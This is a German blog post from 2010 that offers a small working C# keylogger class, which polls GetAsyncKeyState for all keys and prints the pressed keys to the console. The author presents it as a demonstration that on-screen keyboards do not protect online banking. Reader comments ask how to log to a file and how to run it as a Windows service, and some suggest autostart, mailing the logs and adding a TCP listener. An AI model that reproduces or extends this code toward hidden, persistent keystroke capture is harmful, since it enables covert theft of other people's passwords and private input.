Freitag, 23. April 2010

Tastatureingaben mit C# aufzeichnen – KeyLogger auf .NET

Nach meinem Artikel Die Bildschirmtastatur bringt keine Sicherheit beim Online Banking bin ich jetzt schon öfters angesprochen worden, wie man denn Tastatureingaben überwachen kann. Nachfolgend mal meine kleine KeyLogger Klasse in C#:

using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace MS.Util
{
  public class KeyLogger
  {
    [DllImport("User32.dll")]
    private static extern short GetAsyncKeyState(int vKey);
    [DllImport("User32.dll")]
    private static extern short GetAsyncKeyState(Keys vKey);

    public void Read()
    {
      try
      {
        foreach (int i in Enum.GetValues(typeof(Keys)))
        {
          if (GetAsyncKeyState(i) == -32767)
          {
            Console.Write(Enum.GetName(typeof(Keys), i) + " ");
          }
        }
      }
      catch (Exception ex)
      {
      }
    }
  }
}

Die Methode Read() muss man jetzt nur schnell genug hintereinander aufrufen, dann sieht man in einer Konsolenanwendung die gedrückten Tasten. Viel Spaß beim Ausprobieren, gerade auch mit einer Bildschirmtastatur!

Kommentare:

  1. Bildschirmtastaturen sollen ja auch nur Sicherheit gegen Hardware keylogger geben...

    und zum keyloggen in c#: http://superkeylogger.sourceforge.net/

    :)

    AntwortenLöschen
  2. Hey, falls du deinen Source Code zu HTML formatieren willst:
    http://aspspider.ws/code2html/

    AntwortenLöschen
  3. hm...habs mal soweit getestet, dass er mir das alles in ne logfile schreibt, kannst du mir zufällig sagen, wieso er nach jedem gedrücktem key nen return macht? Sieht in etwa so aus :

    08:56 H
    08:56 A
    08:56 L
    08:56 L
    08:56 O
    08:56 Space
    08:56 T
    08:56 E
    08:56 S
    08:56 T
    08:56 Space
    08:56 D1
    08:56 D2
    08:56 D3
    08:56 Space
    08:56 T
    08:56 E
    08:56 S
    08:56 T
    08:56 Space
    08:56 T
    08:56 E
    08:56 S
    08:56 T

    Bzw, ist es auch möglich, dass er Space weg lässt und einfach nur nen Leerzeichen macht? Also den Text eig 1zu1 übernimmt?

    Grüße :)

    AntwortenLöschen
  4. Das Problem besteht bei mir nicht.Vielleicht hast du bei deinem TimeStamp ausversehentlich einen Umbruch mit eingefügt.

    Bei mir sahs in etwa so aus(hab das Leerzeichen entfernt aber damit war es genauso, nur zwischen den Tastendrücken jeweils ein leerzeichen)

    OKSpaceUNDSpaceNUSpaceTESTENSpaceWIRSpaceMALSpaceWIEGUTSpaceDERSpaceLOGGERSpaceLOGGT

    AntwortenLöschen
  5. Ich hab mal versucht den Code in einem WinService zu übernehmen, da werden die Tastendrücke leider nicht abgefangen.

    Als Konsolenanwendung gehts.

    Was müsst ich denn ändern damit es auch als Service klappt?

    AntwortenLöschen
    Antworten
    1. interessante frage... service eines autostarts... und nach einer bestimmten zeit per email senden :D

      Löschen
  6. Also, zumindest unter XP kann man mit der Windows-Bildschirmtastatur die Eingaben nicht aufzeichnen

    AntwortenLöschen
  7. wie soll man das eingeben? und wohin?

    AntwortenLöschen
  8. Noch Tcp Listener hinzufügen und schon hat man hier nen guten Keyloger^^

    AntwortenLöschen